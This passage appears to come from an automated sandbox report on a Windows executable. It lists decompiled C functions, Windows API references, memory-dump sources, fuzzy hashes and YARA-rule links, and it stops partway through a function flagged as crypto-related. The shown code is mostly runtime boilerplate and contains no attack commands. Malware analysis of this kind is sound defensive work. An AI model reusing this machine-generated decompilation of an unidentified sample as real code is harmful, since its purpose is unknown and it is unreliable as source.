				_t62[1] = _t62[1] & 0x00000000;
				_t62[2] = _t62[2] & 0x00000000;
				_v5140 = _t54;
				_v5132 = _t37;
				while(_t49 < _t37) {
					_t58 =  &_v5128;
					while(_t49 < _t37) {
						_t46 =  *_t49;
						_t49 = _t49 + 1;
						if(_t46 == 0xa) {
							_t62[2] = _t62[2] + 1;
							 *_t58 = 0xd;
							_t58 = _t58 + 1;
						}
						 *_t58 = _t46;
						_t58 = _t58 + 1;
						_t37 = _v5132;
						if(_t58 <  &_v9) {
							continue;
						}
						break;
					}
					_t59 = _t58 -  &_v5128;
					_t41 = WriteFile(_t54,  &_v5128, _t59,  &_v5136, 0); // executed
					if(_t41 == 0) {
						 *_t62 = GetLastError();
					} else {
						_t45 = _v5136;
						_t62[1] = _t62[1] + _t45;
						if(_t45 >= _t59) {
							_t37 = _v5132;
							_t54 = _v5140;
							continue;
						}
					}
					L12:
					return E000ECED8(_v8 ^ _t64);
				}
				goto L12;
			}

0x0011cfe0
0x0011cfe5
0x0011cfec
0x0011cfef
0x0011cffe
0x0011d009
0x0011d00d
0x0011d014
0x0011d017
0x0011d019
0x0011d01d
0x0011d021
0x0011d027
0x0011d094
0x0011d02f
0x0011d035
0x0011d039
0x0011d03b
0x0011d03e
0x0011d040
0x0011d043
0x0011d046
0x0011d046
0x0011d047
0x0011d04c
0x0011d04f
0x0011d055
0x00000000
0x00000000
0x00000000
0x0011d055
0x0011d05d
0x0011d071
0x0011d079
0x0011d0a0
0x0011d07b
0x0011d07b
0x0011d081
0x0011d086
0x0011d088
0x0011d08e
0x00000000
0x0011d08e
0x0011d086
0x0011d0a2
0x0011d0b4
0x0011d0b4
0x00000000

APIs

WriteFile.KERNELBASE(00051313,?,?,?,00000000), ref: 0011D071
GetLastError.KERNEL32(?,0011D512,?,?,?,?,?,?,?,?,?,00000000,0016C530,00000014,0010F980,00000000), ref: 0011D09A

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ErrorFeatureFileLastPresentProcessorWrite___raise_securityfailure
String ID:
API String ID: 1509056032-0
Opcode ID: 402ee445e03aa1db974703c57edfae221022500dd5f462b299cdb4a5dfff8ca2
Instruction ID: aebd1e76ae83ef1d6eaf3b52da9f4df2e488945245e730b1bc431f7227f3d9c2
Opcode Fuzzy Hash: 402ee445e03aa1db974703c57edfae221022500dd5f462b299cdb4a5dfff8ca2
Instruction Fuzzy Hash: 21217E356002199FCB19CF69D880AEAB7F9EB48341F1044A9E94AD7251D731A9C6CB60

Uniqueness

Uniqueness Score: 0.06%

Function 0011EF61, Relevance: 3.1, APIs: 2, Instructions: 65
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E0011EF61(signed int _a4, CHAR* _a8, intOrPtr* _a12, intOrPtr _a16) {
				struct HINSTANCE__* _t13;
				signed int* _t20;
				signed int _t27;
				signed int _t28;
				signed int _t29;
				signed int _t33;
				intOrPtr* _t34;

				_t20 = 0x17a118 + _a4 * 4;
				_t27 =  *0x16f170; // 0xd529e887
				_t29 = _t28 | 0xffffffff;
				_t33 = _t27 ^  *_t20;
				asm("ror esi, cl");
				if(_t33 == _t29) {
					L14:
					return 0;
				}
				if(_t33 == 0) {
					_t34 = _a12;
					if(_t34 == _a16) {
						L7:
						_t13 = 0;
						L8:
						if(_t13 == 0) {
							L13:
							_push(0x20);
							asm("ror edi, cl");
							 *_t20 = _t29 ^ _t27;
							goto L14;
						}
						_t33 = GetProcAddress(_t13, _a8);
						if(_t33 == 0) {
							_t27 =  *0x16f170; // 0xd529e887
							goto L13;
						}
						 *_t20 = E000ED036(_t33);
						goto L2;
					} else {
						goto L4;
					}
					while(1) {
						L4:
						_t13 = E0011EFFD( *_t34); // executed
						if(_t13 != 0) {
							break;
						}
						_t34 = _t34 + 4;
						if(_t34 != _a16) {
							continue;
						}
						_t27 =  *0x16f170; // 0xd529e887
						goto L7;
					}
					_t27 =  *0x16f170; // 0xd529e887
					goto L8;
				}
				L2:
				return _t33;
			}

0x0011ef6c
0x0011ef75
0x0011ef7b
0x0011ef85
0x0011ef87
0x0011ef8b
0x0011eff6
0x00000000
0x0011eff6
0x0011ef8f
0x0011ef95
0x0011ef9b
0x0011efb7
0x0011efb7
0x0011efb9
0x0011efbb
0x0011efe6
0x0011efe8
0x0011eff0
0x0011eff4
0x00000000
0x0011eff4
0x0011efc7
0x0011efcb
0x0011efe0
0x00000000
0x0011efe0
0x0011efd4
0x00000000
0x00000000
0x00000000
0x00000000
0x0011ef9d
0x0011ef9d
0x0011ef9f
0x0011efa7
0x00000000
0x00000000
0x0011efa9
0x0011efaf
0x00000000
0x00000000
0x0011efb1
0x00000000
0x0011efb1
0x0011efd8
0x00000000
0x0011efd8
0x0011ef91
0x00000000

APIs

__crt_fast_encode_pointer.LIBVCRUNTIME ref: 0011EFCE

Part of subcall function 0011EFFD: LoadLibraryExW.KERNELBASE(00000000,00000000,00000800,?,00000000,00000000,?,0011EFA4,?,00000000,00000000,00000000,?,0011F2D0,00000006,FlsSetValue), ref: 0011F02F
Part of subcall function 0011EFFD: GetLastError.KERNEL32(?,0011EFA4,?,00000000,00000000,00000000,?,0011F2D0,00000006,FlsSetValue,00147F20,FlsSetValue,00000000,00000364,?,0011E0DA), ref: 0011F03B
Part of subcall function 0011EFFD: LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0011EFA4,?,00000000,00000000,00000000,?,0011F2D0,00000006,FlsSetValue,00147F20,FlsSetValue,00000000), ref: 0011F049
Part of subcall function 0011EFFD: FreeLibrary.KERNEL32(00000000,?,0011EFA4,?,00000000,00000000,00000000,?,0011F2D0,00000006,FlsSetValue,00147F20,FlsSetValue,00000000,00000364), ref: 0011F06B

GetProcAddress.KERNEL32(00000000,?,00000000,00000000,00000000,?,0011F2D0,00000006,FlsSetValue,00147F20,FlsSetValue,00000000,00000364,?,0011E0DA,00000000), ref: 0011EFC1

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Library$Load$AddressErrorFreeLastProc__crt_fast_encode_pointer
String ID:
API String ID: 3984727298-0
Opcode ID: 95af6dc02fe9041ff8b815b4f5eb0e2254eaa1d3e8af10a510c18d3e0f9ed2d0
Instruction ID: 60fabdd2f684b4706bbaff0cd42f4d1076439045dbdb963eb701e1492f036616
Opcode Fuzzy Hash: 95af6dc02fe9041ff8b815b4f5eb0e2254eaa1d3e8af10a510c18d3e0f9ed2d0
Instruction Fuzzy Hash: 9E11E733A002329F9F399EA8EC409EA73D5AB813607570230FC14AB284DB31EC8387D1

Uniqueness

Uniqueness Score: 0.53%

Function 00056320, Relevance: 3.1, APIs: 2, Instructions: 51
UNIQUE

Download Yara Rule

C-Code - Quality: 62%

			E00056320(intOrPtr __ecx, intOrPtr __edx, void* __eflags) {
				intOrPtr _v8;
				intOrPtr _v16;
				intOrPtr _v28;
				intOrPtr _v48;
				intOrPtr _v60;
				intOrPtr* _v72;
				intOrPtr _t8;
				void* _t9;
				void* _t12;
				void* _t13;
				intOrPtr* _t14;
				intOrPtr _t16;
				intOrPtr _t20;
				intOrPtr _t21;

				_t21 = __edx;
				_t20 = __ecx;
				_v8 = __ecx;
				_t8 = E000D7037(__ecx); // executed
				_t16 = _t8;
				_v16 = _t16;
				_t9 = E000D7020(__ecx);
				_push(_t16);
				_push(_t21);
				_push(_t16);
				_push(_t21);
				_push(_t9);
				_v28 = E0012C7F0();
				_t12 = E000ED560(E000ED610(_t20, _t16, 0x3b9aca00, 0), _t21, _v48, _t21);
				_t13 = E000ED610(_v60, _t21, 0x3b9aca00, 0);
				_t14 = _v72;
				asm("adc edi, edx");
				 *((intOrPtr*)(_t14 + 4)) = _t21;
				 *_t14 = _t12 + _t13;
				return _t14;
			}

0x00056320
0x00056320
0x0005632c
0x00056330
0x00056335
0x00056339
0x0005633d
0x00056342
0x00056343
0x00056344
0x00056345
0x00056346
0x00056358
0x0005636a
0x0005637f
0x00056386
0x0005638a
0x0005638c
0x00056390
0x00056397

APIs

Part of subcall function 000D7037: RtlQueryPerformanceFrequency.NTDLL(?,?,?,?,00056335), ref: 000D7040

Part of subcall function 000D7020: QueryPerformanceCounter.KERNEL32(?,?,?,?,00056342), ref: 000D7029

__alldvrm.LIBCMT ref: 00056347
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0005636A

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: PerformanceQuery$CounterFrequencyUnothrow_t@std@@@__alldvrm__ehfuncinfo$??2@
String ID:
API String ID: 15951272-0
Opcode ID: 5989d84d72e93e2c6924729b24296551b3016c64fed61621d336b7891ebac480
Instruction ID: dfdb3e9a38a3ea859ff92f37cccf4eec46c1211eabf856f1774a9c59762adfb4
Opcode Fuzzy Hash: 5989d84d72e93e2c6924729b24296551b3016c64fed61621d336b7891ebac480
Instruction Fuzzy Hash: 0101A2B26043446FD710EE2A5C85F6BBAECDBC4764F05492AB51CA3242E6319C0086B5

Uniqueness

Uniqueness Score: 100.00%

Function 00119642, Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00119718

Part of subcall function 0011D5C7: HeapFree.KERNEL32(00000000,00000000), ref: 0011D5DD
Part of subcall function 0011D5C7: GetLastError.KERNEL32(?,?,00125B25,?,00000000,?,00000000,?,00125DC9,?,00000007,?,?,001261BD,?,?), ref: 0011D5EF

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ErrorFeatureFreeHeapLastPresentProcessor___raise_securityfailure_free
String ID:
API String ID: 4224107012-0
Opcode ID: f2d601dfb3966ef1df5057e18060b23add58351cbeb2c7de56c01cb29824c354
Instruction ID: fb9d4d8c02f545c553d342b0b827656e3081080dd97a8bc64fc16ed3c26fedf9
Opcode Fuzzy Hash: f2d601dfb3966ef1df5057e18060b23add58351cbeb2c7de56c01cb29824c354
Instruction Fuzzy Hash: 38416F72A10714CFCB18CF69D8949ADB7B2FF8D310B1581A9E515EB3A0D7719C81CB90

Uniqueness

Uniqueness Score: 0.14%

Function 00062610, Relevance: 1.6, APIs: 1, Instructions: 111COMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32 ref: 00062625

Part of subcall function 000619B0: Wow64DisableWow64FsRedirection.KERNEL32(?,D529E887,?,?), ref: 00061A1A
Part of subcall function 000619B0: CoInitialize.OLE32(00000000), ref: 00061A22
Part of subcall function 000619B0: OleUninitialize.OLE32 ref: 000621A4
Part of subcall function 000619B0: Wow64RevertWow64FsRedirection.KERNEL32(?,?,0016FBB0,0016FBB0,?,?), ref: 000621B1

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Wow64$Redirection$CommandDisableFeatureInitializeLinePresentProcessorRevertUninitialize___raise_securityfailure
String ID:
API String ID: 2745482258-0
Opcode ID: 92c19cbcdbafd3dc065b45c6fa3567a06011e42b8ddbfeaa14a234233aeff912
Instruction ID: 3a13dc7312b862b65c0560445a7cc4ed98aa37e54352798d53675d78f228fa49
Opcode Fuzzy Hash: 92c19cbcdbafd3dc065b45c6fa3567a06011e42b8ddbfeaa14a234233aeff912
Instruction Fuzzy Hash: AD31B4715043018BC704EF24EC56B9F77E5AF85304F50492DF485A7292DB74D955CBA3

Uniqueness

Uniqueness Score: 0.17%

Function 00061880, Relevance: 1.6, APIs: 1, Instructions: 99COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,00000019,00000000,00000000,?), ref: 000618D0

Part of subcall function 000913D0: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 000916FE

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: FeatureFolderIos_base_dtorPathPresentProcessor___raise_securityfailurestd::ios_base::_
String ID:
API String ID: 3830153180-0
Opcode ID: a413d4c37e7ce903caf7a50deba0382f15921711defdd71a068ce0706c36382b
Instruction ID: 140766c851b891a29a93b9ee525397cbff5e328f12e352a05b27231325ee0efd
Opcode Fuzzy Hash: a413d4c37e7ce903caf7a50deba0382f15921711defdd71a068ce0706c36382b
Instruction Fuzzy Hash: A631E435A002089BDB18DF60DC99BEEB7B6FF44714F54465CE806AB6C1DB746A44CBA0

Uniqueness

Uniqueness Score: 0.01%

Function 0006B090, Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 000ECF08: __CxxThrowException@8.LIBVCRUNTIME ref: 000EE12F

std::locale::_Init.LIBCPMT ref: 0006B0CE

Part of subcall function 000D977E: __EH_prolog3.LIBCMT ref: 000D9785
Part of subcall function 000D977E: std::_Lockit::_Lockit.LIBCPMT ref: 000D9790
Part of subcall function 000D977E: std::locale::_Setgloballocale.LIBCPMT ref: 000D97AB
Part of subcall function 000D977E: std::_Lockit::~_Lockit.LIBCPMT ref: 000D9801

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Lockitstd::_std::locale::_$Exception@8H_prolog3InitLockit::_Lockit::~_SetgloballocaleThrow
String ID:
API String ID: 494644009-0
Opcode ID: 401fc2986c7473745d5a077dcfecd6816787eca4852428b95e446994dc81d686
Instruction ID: 38c18a1fdb609c1b2129a57d3b61cf1684c796a9edac5d37f74ac694d55e85b6
Opcode Fuzzy Hash: 401fc2986c7473745d5a077dcfecd6816787eca4852428b95e446994dc81d686
Instruction Fuzzy Hash: D821C3B5604A0AAFD301CF15D941B91FBF4FB09710F00426AE81987B90E7B5B924CFD0

Uniqueness

Uniqueness Score: 1.64%

Function 0011C726, Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0011E0BD,00000001,00000364,?,00124E06,?,00000004,?,?,?,?,001197EF), ref: 0011C767

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 0cd413bcf0681145c912c972fecfe8784c23f27cdc988c9ed1201bf9f828750d
Instruction ID: 8d777b4dcdb30209976aa3786dda545ee661a876eb1f3f5a2da6c0dded8b2160
Opcode Fuzzy Hash: 0cd413bcf0681145c912c972fecfe8784c23f27cdc988c9ed1201bf9f828750d
Instruction Fuzzy Hash: 45F0E931685628ABDB2D5F329C06BEA774C9F51B70B198532FC08970D0DBB1D9C19EE1

Uniqueness

Uniqueness Score: 0.01%

Function 00119DC0, Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 0011C726: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0011E0BD,00000001,00000364,?,00124E06,?,00000004,?,?,?,?,001197EF), ref: 0011C767

_free.LIBCMT ref: 00119DE0

Part of subcall function 0011D5C7: HeapFree.KERNEL32(00000000,00000000), ref: 0011D5DD
Part of subcall function 0011D5C7: GetLastError.KERNEL32(?,?,00125B25,?,00000000,?,00000000,?,00125DC9,?,00000007,?,?,001261BD,?,?), ref: 0011D5EF

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Heap$AllocateErrorFreeLast_free
String ID:
API String ID: 314386986-0
Opcode ID: c2e9325a4eba82c6298632f231378088127cb6c21c7e5aa3831f16faf4a41524
Instruction ID: fe3c263f72846b5f20e33d74c57483482ccea20848cc801c255a37b0e4613543
Opcode Fuzzy Hash: c2e9325a4eba82c6298632f231378088127cb6c21c7e5aa3831f16faf4a41524
Instruction Fuzzy Hash: CFF08CB1A00309AFC710EF68D442B8AB7F8EF48710F104166E918D7340E771A9508BD1

Uniqueness

Uniqueness Score: 0.14%

Function 000ECF08, Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 000EE12F

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ExceptionException@8RaiseThrow
String ID:
API String ID: 3976011213-0
Opcode ID: c75a24d14a4e47d28087f1b494b3efc7380f9f9447f5af45e93db08c3a25df3f
Instruction ID: 051bc1215629344bc939cd005536fbb2b4cb6e46a465f1bc3bf141fa05007323
Opcode Fuzzy Hash: c75a24d14a4e47d28087f1b494b3efc7380f9f9447f5af45e93db08c3a25df3f
Instruction Fuzzy Hash: F9E0683040434EBECB187A66DC06CDC33AD0F00360B204631F928B40E2EB71D9E688D0

Uniqueness

Uniqueness Score: 0.31%

Function 0011FE9E, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

Part of subcall function 0011D9CA: RtlAllocateHeap.NTDLL(00000000,?,00000004,?,0011D976,?,00000000,?,00124E06,?,00000004,?,?,?,?,001197EF), ref: 0011D9FC

_free.LIBCMT ref: 0011FEBE

Part of subcall function 0011D5C7: HeapFree.KERNEL32(00000000,00000000), ref: 0011D5DD
Part of subcall function 0011D5C7: GetLastError.KERNEL32(?,?,00125B25,?,00000000,?,00000000,?,00125DC9,?,00000007,?,?,001261BD,?,?), ref: 0011D5EF

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Heap$AllocateErrorFreeLast_free
String ID:
API String ID: 314386986-0
Opcode ID: b69931f4ae9cdc8cdf4a6e5af3787b6f871fa288e31dc92328ae8334bc63a349
Instruction ID: 6a44b7e8410d75901bda07dce0905ee4f2a8ebf8838d9938453cad999428014b
Opcode Fuzzy Hash: b69931f4ae9cdc8cdf4a6e5af3787b6f871fa288e31dc92328ae8334bc63a349
Instruction Fuzzy Hash: 32F062B10057048FD3389F10E841792B7F8EB04715F11843EE29B87A92C774A484CB94

Uniqueness

Uniqueness Score: 0.14%

Function 0011D9CA, Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000004,?,0011D976,?,00000000,?,00124E06,?,00000004,?,?,?,?,001197EF), ref: 0011D9FC

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 1c6e3129abf55b1bf22a154d4b012428cfe36e9404ce15a247627cfde20f241a
Instruction ID: 61a7b97304a4d09d396ec9de645df4f7a74d9da50fa17bb2412003d150c13654
Opcode Fuzzy Hash: 1c6e3129abf55b1bf22a154d4b012428cfe36e9404ce15a247627cfde20f241a
Instruction Fuzzy Hash: 2AE0E5316051595ADB397B317C017DE3A4C9F517A1F090131EC4893090DF24ECC182E6

Uniqueness

Uniqueness Score: 0.01%

Function 000D891F, Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 000D8926

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: a1d989a6655432e37024d3c21b1daf3aac45be6da4cda5090d3f58cbdeb4982e
Instruction ID: 25687885f812048b8b38e7a86e4276f66e12a2854228c09dbd471c1546af07f4
Opcode Fuzzy Hash: a1d989a6655432e37024d3c21b1daf3aac45be6da4cda5090d3f58cbdeb4982e
Instruction Fuzzy Hash: C3E0EE35100289AAEF219F59C945BAE77A4EF49350F08C016F9502A282CA74AE10CBB2

Uniqueness

Uniqueness Score: 0.02%

Function 000D7037, Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

RtlQueryPerformanceFrequency.NTDLL(?,?,?,?,00056335), ref: 000D7040

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: FrequencyPerformanceQuery
String ID:
API String ID: 4204123506-0
Opcode ID: fabec138069463efaa587693ad39eb445393617b62fe197488a36b106794045c
Instruction ID: 4fec1ef828dcd84fb5345d8ce4e0a16dfb118feb1f4ef287aae32edfddc85f4c
Opcode Fuzzy Hash: fabec138069463efaa587693ad39eb445393617b62fe197488a36b106794045c
Instruction Fuzzy Hash: 89C04C75A1030DBBCF04DBD5D849CCFBBBCEB45268F500195A941E3610D6B0FA858B61

Uniqueness

Uniqueness Score: 2.12%

Function 000512A0, Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 000512AA

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: ee68df7d100ecf2b256eb9ecc6d84d113bfbd283200c4eae37e217b01504fed7
Instruction ID: afafbba6702fd4d465094c2e0c67c7f6138c56027ee9f3f3dd76b64d2859c3a2
Opcode Fuzzy Hash: ee68df7d100ecf2b256eb9ecc6d84d113bfbd283200c4eae37e217b01504fed7
Instruction Fuzzy Hash: 61C0127480420C9BC700DFA4994944977FC9B0C110F400191EC4C93610E631E9D88792

Uniqueness

Uniqueness Score: 0.02%

Non-executed Functions

Function 0008FC60, Relevance: 30.7, APIs: 1, Strings: 16, Instructions: 910
UNIQUECrypto

Download Yara Rule

C-Code - Quality: 68%

			E0008FC60(void* __ebx, WCHAR* __ecx, signed int __edx, void* __edi, void* __esi) {
				union _GET_FILEEX_INFO_LEVELS _v8;
				char _v16;
				intOrPtr _v20;
				signed int _v24;
				char _v27;
				signed int _v36;
				char _v40;
				intOrPtr _v52;
				signed int _v56;
				char _v72;
				signed int _v76;
				union _GET_FILEEX_INFO_LEVELS _v80;
				char _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				char _v120;
				void* _v124;
				union _GET_FILEEX_INFO_LEVELS _v128;
				intOrPtr _v132;
				union _GET_FILEEX_INFO_LEVELS _v140;
				union _GET_FILEEX_INFO_LEVELS _v144;
				char _v148;
				void _v156;
				signed int _v164;
				intOrPtr _v172;
				char _v176;
				union _GET_FILEEX_INFO_LEVELS _v180;
				union _GET_FILEEX_INFO_LEVELS _v184;
				intOrPtr _v188;
				char* _v192;
				union _GET_FILEEX_INFO_LEVELS _v196;
				char _v200;
				intOrPtr _v204;
				char _v208;
				union _GET_FILEEX_INFO_LEVELS _v212;
